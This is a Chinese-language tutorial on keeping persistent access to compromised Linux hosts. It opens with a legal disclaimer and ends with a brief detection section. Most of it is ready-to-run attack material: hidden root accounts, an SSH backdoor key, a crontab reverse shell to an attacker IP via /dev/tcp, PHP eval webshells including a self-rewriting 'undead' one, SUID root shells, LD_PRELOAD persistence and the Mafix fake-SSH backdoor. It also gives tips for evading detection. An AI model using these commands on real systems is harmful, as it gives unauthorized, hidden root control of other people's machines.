后渗透权限维持之 Linux 篇
[!WARNING] 合规声明 本文档内容仅供 安全研究与防御学习 使用。未经授权对他人系统进行渗透测试属于违法行为,请严格遵守当地法律法规。
概述
后渗透阶段的核心目标是 在已有访问权限的前提下维持长期控制。Linux 系统中常见的权限维持手段包括:
| 技术 | 优先级 | 需 Root | 隐蔽性 |
|---|---|---|---|
| 账号后门 | ⭐⭐⭐ | 是 | 低 |
| Crontab 后门 | ⭐⭐⭐⭐ | 是 | 中 |
| SUID Shell | ⭐⭐ | 是 | 中 |
| 不死马/内存马 | ⭐⭐⭐⭐ | 视情况 | 高 |
| 伪装后门程序 | ⭐⭐ | 视情况 | 中 |
账号后门
[!NOTE] 前置条件 需已获得 Root 权限;未获得 Root 权限请先参考 《权限提升 - Linux 篇》。
创建隐藏 root 账号
通过创建 UID/GID 为 0 的用户实现 root 级权限维持。
方法一:useradd
useradd -p $(openssl passwd -1 -salt salt 密码) 用户名 -o -u 0 -g root -G root参数说明:
| 参数 | 含义 |
|---|---|
-u 0 | 用户 ID 为 0(root 权限) |
-g 0 | 主组 ID 为 0(root 用户组) |
-o | 允许重复 UID |
-p | 指定已加密的密码 |
方法二:直接修改 /etc/passwd
perl -le 'print crypt("密码", "salt")'echo '用户名:加密密码:0:0::/root:/bin/bash' >> /etc/passwd方法三:直接修改 /etc/shadow
tail -1 /etc/shadow# 输出示例: 用户名:$6$salt$hash:18845:0:99999:7:::echo '用户名:$6$salt$hash:18845:0:99999:7:::' >> /etc/shadow[!WARNING] 检测风险
直接修改系统文件会被大多数审计工具(如 rkhunter、chkrootkit)检测到。
SSH 密钥登录
[!TIP] 隐蔽性更强 相比密码登录,SSH 密钥登录不会在日志中留下明文密码记录,隐蔽性更高。
- 本地生成密钥对
ssh-keygen -t rsa -b 4096 -f /root/.ssh/backdoor_rsa- 写入目标主机 authorized_keys
mkdir -p /root/.ssh && chmod 700 /root/.sshecho "ssh-rsa AAAA... 后门用户" >> /root/.ssh/authorized_keyschmod 600 /root/.ssh/authorized_keys- 确保 SSH 配置允许
PubkeyAuthentication yesPermitRootLogin yesPasswordAuthentication yes- 重启 SSH 服务
systemctl restart sshd- 使用私钥登录
ssh -i /root/.ssh/backdoor_rsa -p 22 root@目标IP[!NOTE] 配置提示
若 SSH 监听非默认端口,需使用 -p 端口 指定。
Crontab 后门
[!WARNING] 常见检测点
Crontab 是安全审计的重点对象,建议定期监控 /var/spool/cron/ 目录。
反弹 Shell
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c '/bin/sh -i >& /dev/tcp/攻击IP/端口 0>&1'") | crontab -写入不死马
(crontab -l 2>/dev/null; echo "* * * * * /bin/bash -c 'echo \"<?php @eval(\$_POST[\\\"cmd\\\"]);\" > /tmp/shell.php'") | crontab -[!TIP] 降低频率
将 * * * * * 改为 0 */6 * * *(每 6 小时)可降低被发现的概率。
SUID 后门
[!NOTE] 原理 SUID 位允许程序以文件所有者的权限运行。设置后,普通用户执行该程序将获得 root 权限。
方法一:SUID Shell
cp /bin/bash /tmp/.shellchmod u+s /tmp/.shell/tmp/.shell -p# 获得 root Shellid# uid=0(root) gid=0(root)方法二:SUID Perl
cp /usr/bin/perl /tmp/.perlchmod u+s /tmp/.perl/tmp/.perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/sh";'方法三:Find 命令
find / -perm -4000 2>/dev/nullfind /tmp -name shell -exec chmod u+s {} \;不死马 / 内存驻留
[!WARNING] 对抗检测 此类技术用于对抗文件删除检测,属于高级持久化手段。
PHP 不死马
<?phpset_time_limit(0);ignore_user_abort(1);unlink(__FILE__);while (1) { $content = "<?php @eval(\$_POST['cmd']); ?>"; file_put_contents("shell.php", $content); usleep(1000);}关键点:
| 函数 | 作用 |
|---|---|
set_time_limit(0) | 取消执行时间限制 |
ignore_user_abort(1) | 忽略客户端断开 |
unlink(__FILE__) | 删除自身文件 |
usleep(1000) | 每 1ms 写入一次 |
LD_PRELOAD 劫持
gcc -shared -fPIC -o libhijack.so hijack.c -ldlexport LD_PRELOAD=/tmp/libhijack.so[!TIP] 持久化 LD_PRELOAD
将 export LD_PRELOAD=... 写入 /etc/profile 或 /etc/ld.so.preload 实现持久化。
伪装后门程序
Mafix(伪装 SSH)
[!CAUTION] 使用注意 Mafix 会监听指定端口并伪造 SSH 服务Banner,连接时提示为正常 SSH 会话。
tar -xzvf mafix.tar.gzcd mafix./backdoor 密码 端口ssh root@目标IP -p 端口# 输入密码后获得 Shell其他常见后门
| 后门名称 | 类型 | 特点 |
|---|---|---|
| Mafix | SSH 伪装 | 伪造 SSH Banner |
| BASH 反弹 | Shell | 简单直接 |
| Netcat 反向 | Shell | 依赖 nc |
| Webshell | Web | PHP/ASP/JSP |
检测与防御
[!IMPORTANT] 防御建议 以下检测手段可用于发现上述权限维持技术。
账号检测
awk -F: '$3 == 0 {print $1}' /etc/passwd# 应只输出 roottitle="检查异常账号"tail -5 /etc/passwdtail -5 /etc/shadowCrontab 检测
crontab -lls -la /var/spool/cron/ls -la /etc/cron.d/SUID 检测
find / -perm -4000 -type f 2>/dev/null进程检测
ps aux | grep -E "(shell|backdoor|nc|netcat)"netstat -antp | grep ESTABLISHED[!TIP] 最佳实践 定期审计上述命令的输出,结合 IDS/EDR 工具实现自动化检测。
一键检测脚本
#!/bin/bashecho "=== UID 0 账号 ==="awk -F: '$3 == 0 {print $1}' /etc/passwdecho "=== 最近创建的账号 ==="tail -5 /etc/passwdecho "=== SUID 文件 ==="find / -perm -4000 -type f 2>/dev/null | head -20echo "=== Crontab ==="crontab -l 2>/dev/nullls /etc/cron.d/ 2>/dev/null